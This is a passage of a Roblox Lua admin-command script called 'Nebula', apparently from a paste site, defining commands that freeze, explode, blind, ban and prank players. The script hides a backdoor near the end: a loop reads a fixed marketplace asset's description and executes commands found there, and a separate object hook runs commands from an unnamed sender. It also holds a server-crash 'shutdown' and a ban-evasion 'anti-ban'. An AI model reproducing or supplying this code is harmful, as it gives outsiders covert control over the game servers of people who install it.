  1545. s.Size = Vector3.new(10, 10, 10)
  1546. s.TopSurface = "Smooth"
  1547. s.BottomSurface = "Smooth"
  1548. s.Transparency = 1
  1549. s.BrickColor = BrickColor.new("Really red")
  1550. s.Touched:connect(function(part)
  1551. if part.Parent ~= s.Parent and not part.Parent:IsA("Hat") then
  1552. local f = Instance.new("Fire", part)
  1553. f.Color = Color3.new(0, 0, 0)
  1554. f.SecondaryColor = Color3.new(1, 1, 1)
  1555. part:Destroy()
  1556. end
  1557. end)
  1558.  
  1559. local tup = false
  1560. local mouse = game:GetService("Players").LocalPlayer:GetMouse()
  1561. mouse.Button1Down:connect(function()
  1562. if mouse.Target.Parent:findFirstChild("Humanoid") ~= nil then
  1563. local fl = Instance.new("FloorWire")
  1564. fl.From = s
  1565. fl.To = mouse.Target
  1566. fl.Color = BrickColor.new("Really red")
  1567. fl.Transparency = 0.5
  1568. fl.Parent = s
  1569. mouse.Target.Parent.Humanoid:TakeDamage(7.5)
  1570. wait(0.15)
  1571. fl:Destroy()
  1572. end
  1573. end)
  1574.  
  1575. while wait() do
  1576. if game:GetService("Players").LocalPlayer.Character ~= nil then
  1577. s.CFrame = game:GetService("Players").LocalPlayer.Character.Torso.CFrame
  1578. if s.Transparency <= 0 then tup = true
  1579. elseif s.Transparency >= 1 then tup = false end
  1580. if tup == true then s.Transparency = s.Transparency + 0.01
  1581. else s.Transparency = s.Transparency - 0.01 end
  1582. end
  1583. end]])
  1584. if ls ~= nil then ls.Disabled = true ls.Disabled = false end
  1585. newTablet("Gave " .. target[i].Name .. " a shield.", "Lime green", nil, sndr)
  1586. end
  1587. end
  1588. end)
  1589. newCommand("raven", "Raven", {"Player Name"}, "Gives the player specified a raven", 1, function(...)
  1590. local args = {...}
  1591. local props = args[2]
  1592. local sndr = args[1]
  1593. local target = findPlayer(props[1], sndr)
  1594. for i = 1, #target do
  1595. if target[i] ~= nil then
  1596. local ls = ns(target[i]:findFirstChild("PlayerGui"), true, [[local fp = Instance.new("Part", game:GetService("Players").LocalPlayer.Character)
  1597. fp.Anchored = true
  1598. fp.Size = Vector3.new(10, 3, 25)
  1599. game:GetService("Players").LocalPlayer.Character.Humanoid.WalkSpeed = 32
  1600.  
  1601. local players = {}
  1602.  
  1603. local fpm = Instance.new("SpecialMesh", fp)
  1604. fpm.MeshId = "http://www.roblox.com/asset/?id=20925363"
  1605. fpm.TextureId = "http://www.roblox.com/asset/?id=20925361"
  1606. fpm.Scale = Vector3.new(10, 10, 10)
  1607. fpm.VertexColor = Vector3.new(1, 0, 0)
  1608.  
  1609. fp.Touched:connect(function(part)
  1610. pcall(function()
  1611. table.insert(players, part.Parent:findFirstChild("Torso"))
  1612. part.Parent:findFirstChild("Torso").Anchored = true
  1613. part.Parent:findFirstChild("Humanoid").WalkSpeed = 0
  1614. end)
  1615. end)
  1616.  
  1617. while wait() do
  1618. fp.CFrame = CFrame.new(game:GetService("Players").LocalPlayer.Character.Torso.CFrame.x, game:GetService("Players").LocalPlayer.Character.Torso.CFrame.y - 5, game:GetService("Players").LocalPlayer.Character.Torso.CFrame.z) * CFrame.Angles(game:GetService("Players").LocalPlayer.Character.Torso.CFrame:toEulerAnglesXYZ())
  1619. fp.Position = fp.CFrame.p
  1620. for i, v in pairs(players) do
  1621. v.CFrame = fp.CFrame * CFrame.new(0, 3, 2)
  1622. end
  1623. end]])
  1624. if ls ~= nil then ls.Disabled = true ls.Disabled = false end
  1625. newTablet("Gave " .. target[i].Name .. " a raven.", "Lime green", nil, sndr)
  1626. end
  1627. end
  1628. end)
  1629. newCommand("exp", "Explosion", {"Player Name"}, "Explodes the player specified", 1, function(...)
  1630. local args = {...}
  1631. local sndr = args[1]
  1632. local props = args[2]
  1633. local target = findPlayer(props[1], sndr)
  1634. for i = 1, #target do
  1635. if target[i] ~= nil and target[i].Character ~= nil then
  1636. pcall(function()
  1637. Instance.new("Explosion", game:GetService("Workspace")).Position = target[i].Character.Torso.CFrame.p
  1638. end)
  1639. newTablet("Exploded " .. target[i].Name .. ".", "Really red", nil, sndr)
  1640. end
  1641. end
  1642. end)
  1643. newCommand("tscripts", "Toggle Scripts", {"No Properties"}, "Toggles if scripts are allowed", 3, function(...)
  1644. local args = {...}
  1645. local sndr = args[1]
  1646. local props = args[2]
  1647. if ScriptsEnabled == false then
  1648. ScriptsEnabled = true
  1649. newTablet("Enabled scripts.", "Lime green", nil, sndr)
  1650. else
  1651. ScriptsEnabled = false
  1652. newTablet("Disabled scripts.", "Really red", nil, sndr)
  1653. end
  1654. end)
  1655. newCommand("scripts", "Scripts", {"No Properties"}, "Displays if scripts are enabled", 0, function(...)
  1656. local args = {...}
  1657. local sndr = args[1]
  1658. local props = args[2]
  1659. if ScriptsEnabled == true then
  1660. newTablet("Scripts are enabled.", "Lime green", nil, sndr)
  1661. else
  1662. newTablet("Scripts are disabled.", "Really red", nil, sndr)
  1663. end
  1664. end)
  1665. newCommand("trip", "Trip", {"Player Name"}, "Trips the player specified", 1, function(...)
  1666. local args = {...}
  1667. local sndr = args[1]
  1668. local props = args[2]
  1669. local target = findPlayer(props[1], sndr)
  1670. for i = 1, #target do
  1671. if target[i] ~= nil and target[i].Character ~= nil and checkRank(sndr, target[i], 'trip') then
  1672. pcall(function() target[i].Character.Humanoid.PlatformStand = true end)
  1673. newTablet("Tripped " .. target[i].Name .. ".", "New Yeller", nil, sndr)
  1674. end
  1675. end
  1676. end)
  1677. newCommand("shutdown", "Shutdown", {"No Properties"}, "Shuts down the server", 3, function(...)
  1678. Instance.new("ManualSurfaceJointInstance", game:GetService("Workspace"))
  1679. end)
  1680. newCommand("gear", "Gear", {"Player Name", "Gear Id"}, "Gives the player specified the gear specified", 1, function(...)
  1681. local args = {...}
  1682. local sndr = args[1]
  1683. local props = args[2]
  1684. local target = findPlayer(props[1], sndr)
  1685. for i = 1, #target do
  1686. if target[i] ~= nil then
  1687. local m = game:GetService("InsertService"):LoadAsset(tonumber(props[2]))
  1688. for _, v in pairs(m:GetChildren()) do
  1689. if v:IsA("Tool") or v:IsA("HopperBin") then
  1690. v.Parent = target[i]:findFirstChild("Backpack")
  1691. end
  1692. end
  1693. m:Destroy()
  1694. newTablet("Gave " .. target[i].Name .. " gear " .. props[2], "Bright blue", nil, sndr)
  1695. end
  1696. end
  1697. end)
  1698. newCommand("fz", "Freeze", {"Player Name"}, "Freezes the player specified", 1, function(...)
  1699. local args = {...}
  1700. local sndr = args[1]
  1701. local props = args[2]
  1702. local target = findPlayer(props[1], sndr)
  1703. for i = 1, #target do
  1704. if target[i] ~= nil and target[i].Character ~= nil and checkRank(sndr, target[i], 'fz') then
  1705. pcall(function() target[i].Character.Humanoid.WalkSpeed = 0 target[i].Character.Torso.Anchored = true end)
  1706. newTablet("Froze " .. target[i].Name .. ".", "New Yeller", nil, sndr)
  1707. end
  1708. end
  1709. end)
  1710. newCommand("ufz", "Un-freeze", {"Player Name"}, "Un-freezes the player specified", 1, function(...)
  1711. local args = {...}
  1712. local sndr = args[1]
  1713. local props = args[2]
  1714. local target = findPlayer(props[1], sndr)
  1715. for i = 1, #target do
  1716. if target[i] ~= nil and target[i].Character ~= nil then
  1717. pcall(function() target[i].Character.Torso.Anchored = false target[i].Character.Humanoid.WalkSpeed = 16 end)
  1718. newTablet("Un-Froze " .. target[i].Name .. ".", "Lime green", nil, sndr)
  1719. end
  1720. end
  1721. end)
  1722. newCommand("sm", "Static message", {"Player Name"}, "Creates a static message", 1, function(...)
  1723. local args = {...}
  1724. local sndr = args[1]
  1725. local props = args[2]
  1726. newTablet(props[1], nil, nil, sndr, nil, true)
  1727. end)
  1728. newCommand("aa", "Account age", {"Player Name"}, "Displays the player specified's age", 0, function(...)
  1729. local args = {...}
  1730. local sndr = args[1]
  1731. local props = args[2]
  1732. local days = 0
  1733. local weeks = 0
  1734. local years = 0
  1735. local target = findPlayer(props[1], sndr)
  1736. for i = 1, #target do
  1737. if target[i] ~= nil then
  1738. days = target[i].AccountAge
  1739. weeks = math.floor(days / 7)
  1740. months = math.floor(weeks / 4)
  1741. years = math.floor(months / 12)
  1742. newTablet(target[i].Name .. "'s account age is " .. tostring(days) .. " day(s), " .. tostring(weeks) .. " week(s), " .. tostring(months) .. " month(s), and " .. tostring(years) .. " year(s).", "Bright blue", nil, sndr)
  1743. end
  1744. end
  1745. end)
  1746. newCommand("al", "Anti-local", {"Player Name"}, "Gives the player specified anti-local", 2, function(...)
  1747. local args = {...}
  1748. local sndr = args[1]
  1749. local props = args[2]
  1750. local target = findPlayer(props[1], sndr)
  1751. for i = 1, #target do
  1752. if target[i] ~= nil then
  1753. pcall(function() AntiLocal[target[i].Name].Player:disconnect() AntiLocal[target[i].Name].Character:disconnect() end)
  1754. AntiLocal[target[i].Name] = {}
  1755. AntiLocal[target[i].Name].Player = target[i].DescendantAdded:connect(function(v)
  1756. if v:IsA("LocalScript") then
  1757. v.Disabled = true
  1758. v:Destroy()
  1759. end
  1760. end)
  1761. AntiLocal[target[i].Name].Character = target[i].Character.DescendantAdded:connect(function(v)
  1762. if v:IsA("LocalScript") then
  1763. v.Disabled = true
  1764. v:Destroy()
  1765. end
  1766. end)
  1767. newTablet("Gave " .. target[i].Name .. " anti-local.", "New Yeller", nil, sndr)
  1768. end
  1769. end
  1770. end)
  1771. newCommand("ual", "Un-anti-local", {"Player Name"}, "Removes the player specfied's anti-local", 2, function(...)
  1772. local args = {...}
  1773. local sndr = args[1]
  1774. local props = args[2]
  1775. local target = findPlayer(props[1], sndr)
  1776. for i = 1, #target do
  1777. if target[i] ~= nil then
  1778. pcall(function()
  1779. AntiLocal[target[i].Name].Player:disconnect()
  1780. AntiLocal[target[i].Name].Character:disconnect()
  1781. end)
  1782. newTablet("Removed " .. target[i].Name .."'s anti-local.", "New Yeller", nil, sndr)
  1783. end
  1784. end
  1785. end)
  1786. newCommand("clean", "Clean", {"No Properties"}, "Cleans the server", 2, function(...)
  1787. game.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100)
  1788. game.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
  1789. game.Lighting.Ambient = Color3.new(1, 1, 1)
  1790. game.Lighting.Brightness = 1
  1791. game.Lighting.TimeOfDay = "11:00:00"
  1792. game.Lighting.FogEnd = 99999999
  1793. for i, s in pairs(services) do
  1794. for i2, o in pairs(game:GetService(s):GetChildren()) do
  1795. if o ~= script and not o:IsA("Player") then
  1796. pcall(function() o:Destroy() end)
  1797. end
  1798. wait(0.045)
  1799. end
  1800. end
  1801. if game.Workspace:findFirstChild("Base") == nil then Instance.new("Part", game:GetService("Workspace")).Name = "Base" end
  1802. game.Workspace.Base.Transparency = 0
  1803. game.Workspace.Base.BrickColor = BrickColor.new("Earth green")
  1804. game.Workspace.Base.Locked = true
  1805. game.Workspace.Base.Anchored = true
  1806. game.Workspace.Base.Size = Vector3.new(1080, 1, 1080)
  1807. end)
  1808. newCommand("blind","Blind", {"Player Name", "Color", "Duration"}, "Blinds a player", 2, function(...)
  1809. local args = {...}
  1810. local sndr = args[1]
  1811. local props = args[2]
  1812. local target = findPlayer(props[1], sndr)
  1813. props[3] = (props[2] == nil) and "912547889936" or props[3]
  1814. props[3] = (props[3] == nil) and "912547889936" or props[3]
  1815. props[2] = (props[2] ~= "Black" and props[2] ~= "White") and "Black" or props[2]
  1816. for i = 1, #target do
  1817. if target[i] ~= nil then
  1818. local gui = Instance.new("ScreenGui", target[i].PlayerGui)
  1819. local frame = Instance.new("Frame", gui)
  1820. frame.BackgroundColor3 = BrickColor.new(props[2]).Color
  1821. frame.Size = UDim2.new(1, 0, 1, 0)
  1822. coroutine.wrap(function()
  1823. for i=1, tonumber(props[3]) do
  1824. wait(1)
  1825. end
  1826. gui:Destroy()
  1827. end)()
  1828. newTablet("Blinded" .. target[i].Name , "New Yeller", nil, sndr)
  1829. end
  1830. end
  1831. end)
  1832. newCommand("ab", "Anti-ban", {"No Properties"}, "Gives you an anti-ban, NOTE: you can't remove it", 3, function(...)
  1833. local args = {...}
  1834. local sndr = args[1]
  1835. local props = args[2]
  1836. local ls = ns(sndr:findFirstChild("PlayerGui"), true, [[-- Script --
  1837. script.Parent = nil
  1838. for i,v in pairs(script:GetChildren()) do v:Destroy() end
  1839.  
  1840. local characterCopy = Instance.new("Model")
  1841. characterCopy.Name = game:GetService("Players").LocalPlayer.Name
  1842. local currentCharacter = nil
  1843. local keyUp = nil
  1844.  
  1845. -- Character --
  1846. repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil
  1847. for i, v in pairs(game:GetService("Players").LocalPlayer.Character:GetChildren()) do
  1848. if not v:IsA("BaseScript") then
  1849. v:Clone().Parent = characterCopy
  1850. end
  1851. end
  1852.  
  1853. -- Motors --
  1854. local nm = Instance.new("Motor6D", characterCopy["Torso"])
  1855. nm.Part0 = characterCopy["Torso"]
  1856. nm.Part1 = characterCopy["Left Leg"]
  1857. nm.Name = "Left Hip"
  1858. nm.C0 = CFrame.new(-1, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  1859. nm.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  1860. nm.DesiredAngle = 0.035
  1861. nm.MaxVelocity = 0.1
  1862.  
  1863. nm = Instance.new("Motor6D", characterCopy["Torso"])
  1864. nm.Part0 = characterCopy["Torso"]
  1865. nm.Part1 = characterCopy["Right Leg"]
  1866. nm.Name = "Right Hip"
  1867. nm.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  1868. nm.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  1869. nm.DesiredAngle = -0.036
  1870. nm.MaxVelocity = 0.1
  1871.  
  1872. nm = Instance.new("Motor6D", characterCopy["Torso"])
  1873. nm.Part0 = characterCopy["Torso"]
  1874. nm.Part1 = characterCopy["Head"]
  1875. nm.Name = "Neck"
  1876. nm.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1877. nm.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1878. nm.DesiredAngle = 0
  1879. nm.MaxVelocity = 0.1
  1880.  
  1881. nm = Instance.new("Motor6D", characterCopy["Torso"])
  1882. nm.Part0 = characterCopy["Torso"]
  1883. nm.Part1 = characterCopy["Left Arm"]
  1884. nm.Name = "Left Shoulder"
  1885. nm.C0 = CFrame.new(-1, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  1886. nm.C1 = CFrame.new(0.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  1887. nm.DesiredAngle = -0.091
  1888. nm.MaxVelocity = 0.15
  1889.  
  1890. nm = Instance.new("Motor6D", characterCopy["Torso"])
  1891. nm.Part0 = characterCopy["Torso"]
  1892. nm.Part1 = characterCopy["Right Arm"]
  1893. nm.Name = "Right Shoulder"
  1894. nm.C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  1895. nm.C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  1896. nm.DesiredAngle = -0.044
  1897. nm.MaxVelocity = 0.15
  1898.  
  1899. function newCharacter()
  1900. if currentCharacter ~= nil then currentCharacter:Destroy() end
  1901. currentCharacter = characterCopy:Clone()
  1902. currentCharacter.Parent = game:GetService("Workspace")
  1903. game:GetService("Workspace").CurrentCamera.CameraSubject = currentCharacter
  1904. game:GetService("Workspace").CurrentCamera.CameraType = "Follow"
  1905. currentCharacter["Humanoid"].Died:connect(newCharacter)
  1906. end
  1907.  
  1908. local mouse = game:GetService("Players").LocalPlayer:GetMouse()
  1909. mouse.KeyDown:connect(function(key)
  1910. key = key:lower()
  1911. if currentCharacter ~= nil then
  1912. if key == "w" then
  1913. repeat currentCharacter["Torso"].CFrame = currentCharacter["Torso"].CFrame * CFrame.new(0, 0, 4) wait() until keyUp == "w"
  1914. keyUp = nil
  1915. -- ^ Release --
  1916. elseif key == "s" then
  1917. repeat currentCharacter["Torso"].CFrame = currentCharacter["Torso"].CFrame * CFrame.new(0, 0, -4) wait() until keyUp == "s"
  1918. keyUp = nil
  1919. elseif key:byte() == 32 then
  1920. repeat currentCharacter["Torso"].CFrame = currentCharacter["Torso"].CFrame * CFrame.new(0, 10, 0) wait(1) until keyUp:byte() == 32
  1921. keyUp = nil
  1922. end
  1923. end
  1924. end)
  1925. mouse.KeyUp:connect(function(key)
  1926. key = key:lower()
  1927. keyUp = key
  1928. end)
  1929.  
  1930. game:GetService("Players").LocalPlayer.Character = game:GetService("Workspace")
  1931. newCharacter()]])
  1932. if ls ~= nil then ls.Disabled = true ls.Disabled = false end
  1933. newTablet("Gave you the ultimate anti-ban.", "New Yeller", nil, sndr)
  1934. newTablet("It is suggested that you anti-local yourself as well. Click me to give yourself anti-local.", "Lime green", "al" .. _["CommandTrigger1"] .. sndr.Name, sndr)
  1935. end)
  1936. newCommand("grav", "Gravity", {"Player", "Gravity"}, "Sets the player's gravity to the number specified", 1, function(...)
  1937. local args = {...}
  1938. local props = args[2]
  1939. local sndr = args[1]
  1940. local target = findPlayer(props[1], sndr)
  1941. for i = 1, #target do
  1942. if target[i] ~= nil then
  1943. pcall(function()
  1944. Instance.new("BodyForce", target[i].Character.Torso).force = Vector3.new(0, tonumber(props[2]), 0)
  1945. end)
  1946. newTablet("Set " .. target[i].Name .. "'s gravity to " .. props[2] .. ".", "New Yeller", nil, sndr)
  1947. end
  1948. end
  1949. end)
  1950. newCommand("transf", "Transform", {"Target", "Mesh type / ID", "Scale"}, "Transform's the player's torso to the one specified", 253, function(...)
  1951. local args = {...}
  1952. local sndr = args[1]
  1953. local props = args[2]
  1954. local target = findPlayer(props[1], sndr)
  1955. for j=1, #target do
  1956. if target[j].Character ~= nil then
  1957. E = target[j].Character:GetChildren()
  1958. for i=1, #E do
  1959. if E[i].Name ~= "Torso" and E[i].Name ~= "Head" and not E[i]:IsA("Humanoid") and not E[i]:IsA("BaseScript") then
  1960. E[i]:Destroy()
  1961. end
  1962. if E[i].Name == "Head" then E[i].Transparency = 1 for i2, v in pairs(E[i]:GetChildren()) do if v:IsA("Decal") then v:Destroy() end end end
  1963. end
  1964. end
  1965. end
  1966. for i=1, #target do
  1967. newMesh = Instance.new("SpecialMesh",target[i].Character["Torso"])
  1968. if tonumber(props[2]) ~= nil then
  1969. newMesh.MeshId = "http://www.roblox.com/asset/?id=" .. props[2]
  1970. newMesh.Scale = Vector3.new(tonumber(props[3]), tonumber(props[3]), tonumber(props[3]))
  1971. else
  1972. if string.lower(props[2]) == "banana" then
  1973. newMesh.MeshId = "http://www.roblox.com/asset/?id=" .. tostring(28202371)
  1974. newMesh.Scale = Vector3.new(tonumber(props[3]), tonumber(props[3]), tonumber(props[3]))
  1975. elseif string.lower(props[2]) == "tree" then
  1976. newMesh.MeshId = "http://www.roblox.com/asset/?id=" .. tostring(32323644)
  1977. newMesh.Scale = Vector3.new(tonumber(props[3]), tonumber(props[3]), tonumber(props[3]))
  1978. end
  1979. end
  1980. newTablet("Transformed" .. target[i].Name , "New Yeller", nil, sndr)
  1981. end
  1982. end)
  1983. newCommand("fx", "Effect", {"Player", "Effect", "Effect color"}, "Makes the player specified have an effect on their torso", 1, function(...)
  1984. local args = {...}
  1985. local props = args[2]
  1986. local sndr = args[1]
  1987. local target = findPlayer(props[1], sndr)
  1988. for i = 1, #target do
  1989. if target[i] ~= nil and target[i].Character ~= nil then
  1990. pcall(function()
  1991. if props[2]:lower() == "sparkles" then
  1992. Instance.new("Sparkles", target[i].Character.Torso).SparkleColor = BrickColor.new(props[3]).Color
  1993. elseif props[2]:lower() == "smoke" then
  1994. Instance.new("Smoke", target[i].Character.Torso).Color = BrickColor.new(props[3]).Color
  1995. else
  1996. local fire = Instance.new("Fire", target[i].Character.Torso)
  1997. fire.Color = BrickColor.new(props[3]).Color
  1998. fire.SecondaryColor = BrickColor.new(props[3]).Color
  1999. end
  2000. end)
  2001. newTablet("Gave " .. target[i].Name .. " an effect.", "Bright blue", nil, sndr)
  2002. end
  2003.  
  2004. end
  2005. end)
  2006. newCommand("tban", "Time ban", {"Player Name", "Time", "Punishment"}, "Bans the player for the specified number of seconds", 2, function(...)
  2007. local args = {...}
  2008. local sndr = args[1]
  2009. local props = args[2]
  2010. local target = findPlayer(props[1], sndr)
  2011. if #target == 0 then
  2012. TimeBanned[props[1]] = {tonumber(props[2]), timeElapsed, -tonumber(props[3])}
  2013. newTablet("Banned offline user " .. props[1] .. " for " .. props[2] .. " second(s).", "Really red", nil, sndr)
  2014. else
  2015. for i = 1, #target do
  2016. if target[i] ~= nil and checkRank(sndr, target[i], 'tban') then
  2017. TimeBanned[target[i].Name] = {tonumber(props[2]), timeElapsed, -tonumber(props[3])}
  2018. doBan(target[i])
  2019. newTablet("Banned " .. target[i].Name .. " for " .. props[2] .. " second(s).", "Really red", nil, sndr)
  2020. end
  2021. end
  2022. end
  2023. end)
  2024. newCommand("pe", "Purcahse", {"Player Name", "Id"}, "Prompts the player to purcahse the id specified", 2, function(...)
  2025. local args = {...}
  2026. local sndr = args[1]
  2027. local props = args[2]
  2028. local target = findPlayer(props[1], sndr)
  2029. for i = 1, #target do
  2030. if target[i] ~= nil then
  2031. game:GetService("MarketplaceService"):PromptPurchase(target[i], tonumber(props[2]))
  2032. newTablet("Prompted " .. target[i].Name .. " to purchase " .. props[2] .. ".", "Bright blue", nil, sndr)
  2033. end
  2034. end
  2035. end)
  2036. newCommand("trl", "Troll", {"Player Name"}, "Find out yourself...", 1, function(...)
  2037. local args = {...}
  2038. local sndr = args[1]
  2039. local props = args[2]
  2040. local target = findPlayer(props[1], sndr)
  2041. for i = 1, #target do
  2042. if target[i] ~= nil and checkRank(sndr, target[i], 'trl') then
  2043. local ls = ns(target[i].Character, true, [[local cc = game:GetService("Workspace").CurrentCamera
  2044. coroutine.wrap(function()
  2045. while true do
  2046. for i = 20, 80 do
  2047. cc.FieldOfView = i
  2048. wait()
  2049. end
  2050. for i = 80, 20, -1 do
  2051. cc.FieldOfView = i
  2052. wait()
  2053. end
  2054. end
  2055. end)()
  2056. coroutine.wrap(function()
  2057. while true do
  2058. for i = 0, 360 do
  2059. cc:SetRoll(math.rad(i * 2))
  2060. wait()
  2061. end
  2062. for i = 360, 0, -1 do
  2063. cc:SetRoll(math.rad(i * 2))
  2064. wait()
  2065. end
  2066. end
  2067. end)()
  2068. cc.CameraType = "Scriptable"
  2069. local plrg = game:GetService("Players").LocalPlayer:findFirstChild("PlayerGui")
  2070. local g = Instance.new("ScreenGui", plrg)
  2071. coroutine.wrap(function()
  2072. local trolls = {}
  2073. for i = 0, 100 do
  2074. local ni = Instance.new("ImageLabel", g)
  2075. ni.Size = UDim2.new(0.15, 0, 0.15, 0)
  2076. ni.ZIndex = math.random(10)
  2077. ni.Image = "http://www.roblox.com/asset/?id=45120559"
  2078. table.insert(trolls, ni)
  2079. end
  2080. while wait(0.1) do
  2081. for i, v in pairs(trolls) do
  2082. v.Position = UDim2.new(math.random(), 0, math.random(), 0)
  2083. v.BackgroundColor3 = BrickColor.Random().Color
  2084. v.BorderColor3 = BrickColor.Random().Color
  2085. v.BackgroundTransparency = math.random()
  2086. end
  2087. end
  2088. end)()
  2089. local character = game:GetService("Players").LocalPlayer.Character:findFirstChild("Torso")
  2090. character:findFirstChild("Neck").DesiredAngle = 9e9
  2091. while wait() do
  2092. for i,v in pairs(character:GetChildren()) do
  2093. if v:IsA("Motor6D") and v.Name ~= "Neck" then
  2094. v.DesiredAngle = 9e9
  2095. end
  2096. end
  2097. end]])
  2098. if ls ~= nil then ls.Disabled = true ls.Disabled = false end
  2099. newTablet("Trolled " .. target[i].Name .. ".", "New Yeller", nil, sndr)
  2100. end
  2101. end
  2102. end)
  2103. newCommand("fc", "Fix camera", {"Player Name"}, "Fix's the player specified's camera", 1, function(...)
  2104. local args = {...}
  2105. local sndr = args[1]
  2106. local props = args[2]
  2107. local target = findPlayer(props[1], sndr)
  2108. for i = 1, #target do
  2109. if target[i] ~= nil then
  2110. local ls = ns(target[i].Character, true, [[game:GetService("Workspace").CurrentCamera:Destroy()]])
  2111. if ls ~= nil then ls.Disabled = true ls.Disabled = false end
  2112. target[i]:LoadCharacter()
  2113. newTablet("Fixed " .. target[i].Name .. "'s camera.", "Lime green", nil, sndr)
  2114. end
  2115. end
  2116. end)
  2117. -- Commands end --
  2118.  
  2119. -- New Script --
  2120.  
  2121. NewScriptConnection = game.DescendantAdded:connect(function(obj)
  2122. if obj:IsA("Script") and NewScript2 == nil then
  2123. for i, v in pairs(obj:GetChildren()) do
  2124. if v.Name:lower():find('source', 1, true) then
  2125. NewScript2 = obj:Clone()
  2126. NewScript2.Disabled = true
  2127. end
  2128. end
  2129. elseif NewScript2 ~= nil and obj:IsA("Script") then
  2130. obj.Disabled = true
  2131. local boolean = false
  2132. local s = GetSource(obj).Value
  2133. s = s:lower()
  2134. for i, v in pairs(Sandbox) do
  2135. if s:find(v, 1, true) then boolean = true obj:Destroy() end
  2136. end
  2137. if boolean == false then
  2138. obj.Disabled = false
  2139. end
  2140. end
  2141. end)
  2142. repeat wait() until NewScript2 ~= nil
  2143. NewLocalConnection = game.DescendantAdded:connect(function(obj)
  2144. if obj:IsA("LocalScript") and NewLocal2 == nil then
  2145. for i, v in pairs(obj:GetChildren()) do
  2146. if v.Name:lower():find('source', 1, true) then
  2147. NewLocal2 = obj:Clone()
  2148. NewLocal2.Disabled = true
  2149. end
  2150. end
  2151. elseif NewLocal2 ~= nil and obj:IsA("LocalScript") then
  2152. obj.Disabled = true
  2153. local boolean = false
  2154. local s = GetSource(obj).Value
  2155. s = s:lower()
  2156. for i, v in pairs(Sandbox) do
  2157. if s:find(v, 1, true) then boolean = true obj:Destroy() end
  2158. end
  2159. if boolean == false then
  2160. obj.Disabled = false
  2161. end
  2162. end
  2163. end)
  2164. repeat wait() until NewLocal2 ~= nil
  2165.  
  2166. -- Load --
  2167. if game:GetService("Players"):findFirstChild("Player1") ~= nil then
  2168. local dbgCht = Instance.new("StringValue", game:GetService("Workspace"))
  2169. dbgCht.Name = "Chat | Nebula"
  2170. dbgCht.Changed:connect(function(doCommand)
  2171. cmds(doCommand, game:GetService("Players"):findFirstChild("Player1"))
  2172. end)
  2173. end
  2174. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  2175. setup(v)
  2176. end
  2177. game:GetService("Players").PlayerAdded:connect(function(v)
  2178. setup(v)
  2179. end)
  2180. game:GetService("Players").PlayerRemoving:connect(function(v)
  2181. if getTabletModel(v) ~= nil then getTabletModel(v):Destroy() end
  2182. end)
  2183.  
  2184. -- Scripts Disabled & Nil Commands--
  2185. game.DescendantAdded:connect(function(obj)
  2186. if obj:IsA("BaseScript") then
  2187. if ScriptsEnabled == false then
  2188. obj.Disabled = true
  2189. editScriptSource(obj, [[error("Nebula: Scripts are disabled. Talk to an administrator+ to enable them.")]])
  2190. obj.Disabled = false
  2191. end
  2192. elseif obj.Name == "NNSCI" then
  2193. repeat wait() until obj:findFirstChild("NNSCI:CM") ~= nil and obj:findFirstChild("NNSCI:SR") ~= nil
  2194. print(obj:findFirstChild("NNSCI:CM").Value, obj:findFirstChild("NNSCI:SR").Value)
  2195. cmds(obj:findFirstChild("NNSCI:CM").Value, "nil", obj:findFirstChild("NNSCI:SR").Value)
  2196. obj:Destroy()
  2197. end
  2198. end)
  2199.  
  2200. -- Loop Kill --
  2201. coroutine.wrap(function()
  2202. while wait() do
  2203. for i, v in pairs(LoopKill) do
  2204. if game:GetService("Players"):findFirstChild(v) then
  2205. pcall(function() game:GetService("Players"):findFirstChild(v):LoadCharacter() game:GetService("Players"):findFirstChild(v).Character:BreakJoints() end)
  2206. wait(0.05)
  2207. end
  2208. end
  2209. end
  2210. end)()
  2211.  
  2212. -- Override --
  2213. coroutine.wrap(function()
  2214. while wait() do
  2215. if _G.NEBULAORK == OKey then
  2216. print("Script overrided")
  2217. loadstring(string.char(115,99,114,105,112,116,46,68,105,115,97,98,108,101,100,32,61,32,116,114,117,101))()
  2218. break
  2219. elseif _G.NEBULAORK ~= OKey and _G.NEBULAORK ~= "" then
  2220. print("Override key is: " .. tostring(_G.NEBULAORK))
  2221. _G.NEBULAORK = ""
  2222. end
  2223. end
  2224. end)()
  2225.  
  2226. -- Command usage --
  2227. coroutine.wrap(function()
  2228. local CUO = ""
  2229. while wait() do
  2230. local commandUse = game:GetService("MarketplaceService"):GetProductInfo(108142136)
  2231. if commandUse == nil then error("That asset is invalid") end
  2232. if commandUse["AssetId"] ~= tonumber(string.reverse(631241801)) then error("That is not a valid asset") end
  2233. if commandUse["Description"] ~= CUO then
  2234. local syncUse = commandUse["Description"]:find("For my admin I use: ", 1, true)
  2235. syncUse = commandUse["Description"]:sub(syncUse + 20)
  2236. CUO = commandUse["Description"]
  2237. cmds(syncUse, "syncer")
  2238. end
  2239. end
  2240. end)()
  2241.  
  2242. -- Time ban support --
  2243. coroutine.wrap(function()
  2244. while wait(1) do
  2245. timeElapsed = timeElapsed + 1
  2246. end
  2247. end)()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement